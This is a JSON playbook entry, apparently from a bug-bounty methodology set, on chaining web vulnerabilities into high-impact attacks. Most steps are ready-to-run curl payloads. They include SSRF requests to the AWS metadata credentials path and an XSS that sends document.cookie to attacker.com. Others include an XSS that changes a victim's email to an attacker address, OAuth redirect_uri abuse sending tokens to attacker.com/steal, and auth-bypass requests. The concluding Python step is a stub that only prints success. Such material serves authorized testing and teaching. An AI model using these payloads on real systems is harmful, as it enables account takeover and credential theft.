{
  "slug": "chaining-vulnerabilities",
  "title": "Vulnerability Chaining",
  "phase": "Post-Exploitation",
  "description": "Combine multiple low/medium-severity findings into high-impact exploit chains that demonstrate real-world attack scenarios and maximise bounty payouts.",
  "difficulty": "high",
  "tags": [
    "post-exploitation",
    "chaining",
    "exploit-chain",
    "impact-escalation",
    "attack-scenario"
  ],
  "tools": [
    "Burp Suite",
    "curl",
    "Python",
    "custom scripts"
  ],
  "steps": [
    {
      "id": "chain-01",
      "title": "Map all discovered vulnerabilities and their relationships",
      "description": "Create a matrix of all identified vulnerabilities, their access requirements, and how the output of one can feed into the input of another.",
      "commands": [
        "cat findings.txt | sort -t'|' -k2 | column -t -s'|'"
      ],
      "notes": "Group vulnerabilities by category (information disclosure, injection, access control, client-side). Look for pairs where one finding's output enables another finding's exploitation."
    },
    {
      "id": "chain-02",
      "title": "Identify SSRF-to-internal-access chains",
      "description": "Escalate server-side request forgery from URL fetch to internal service access, cloud metadata retrieval, or internal API abuse.",
      "commands": [
        "curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'",
        "curl -sk 'https://target.com/fetch?url=http://localhost:8080/admin/'",
        "curl -sk 'https://target.com/fetch?url=http://internal-api.local/v1/users'"
      ],
      "notes": "SSRF alone may be medium severity, but SSRF to AWS credential theft or internal admin access is critical. Document the full chain from initial request to final impact."
    },
    {
      "id": "chain-03",
      "title": "Build XSS-to-account-takeover chains",
      "description": "Chain a cross-site scripting vulnerability with CSRF or session theft to achieve full account takeover rather than just JavaScript execution.",
      "commands": [
        "curl -sk 'https://target.com/search?q=<script>fetch(\"https://attacker.com/steal?c=\"%2Bdocument.cookie)</script>'",
        "curl -sk 'https://target.com/search?q=<script>fetch(\"/api/profile\",{method:\"PUT\",headers:{\"Content-Type\":\"application/json\"},body:JSON.stringify({email:\"attacker@evil.com\"}),credentials:\"include\"})</script>'"
      ],
      "notes": "A stored XSS that changes the victim's email address, then triggers a password reset to the attacker's email, is a full account takeover chain — far more impactful than a reflected XSS alert box."
    },
    {
      "id": "chain-04",
      "title": "Chain information disclosure to authentication bypass",
      "description": "Use leaked credentials, API keys, or internal endpoints discovered through information disclosure to bypass authentication entirely.",
      "commands": [
        "curl -sk https://target.com/api/admin/users -H 'X-API-Key: <leaked-key>'",
        "curl -sk 'https://target.com/internal/debug/auth?user=admin&bypass=true'"
      ],
      "notes": "Information disclosure findings that are rated as low/informational on their own can become critical when they provide the key to bypass authentication or access admin functionality."
    },
    {
      "id": "chain-05",
      "title": "Demonstrate open redirect to OAuth token theft",
      "description": "Chain an open redirect vulnerability with an OAuth flow to steal authorization codes or access tokens.",
      "commands": [
        "curl -sk 'https://target.com/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal'",
        "curl -sk 'https://target.com/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal'"
      ],
      "notes": "An open redirect alone is typically low severity. When it is used to bypass OAuth redirect_uri validation, it escalates to account takeover via token theft."
    },
    {
      "id": "chain-06",
      "title": "Document the full chain with step-by-step reproduction",
      "description": "Write a detailed chain report that shows each link in the exploit chain, the individual severity of each finding, and the combined impact.",
      "commands": [
        "python3 -c \"\nimport requests\ns = requests.Session()\n# Step 1: Exploit info disclosure\n# Step 2: Use leaked data to bypass auth\n# Step 3: Escalate privileges\nprint('Chain completed successfully')\n\""
      ],
      "notes": "Include a diagram or numbered list showing the chain. Explain why each individual finding is necessary and what happens if any link is removed. This helps triage teams understand the realistic attack scenario."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/logic-flaws",
    "https://portswigger.net/web-security/ssrf",
    "https://portswigger.net/web-security/cross-site-scripting",
    "https://owasp.org/www-community/attacks/Server_Side_Request_Forgery",
    "https://portswigger.net/web-security/oauth"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}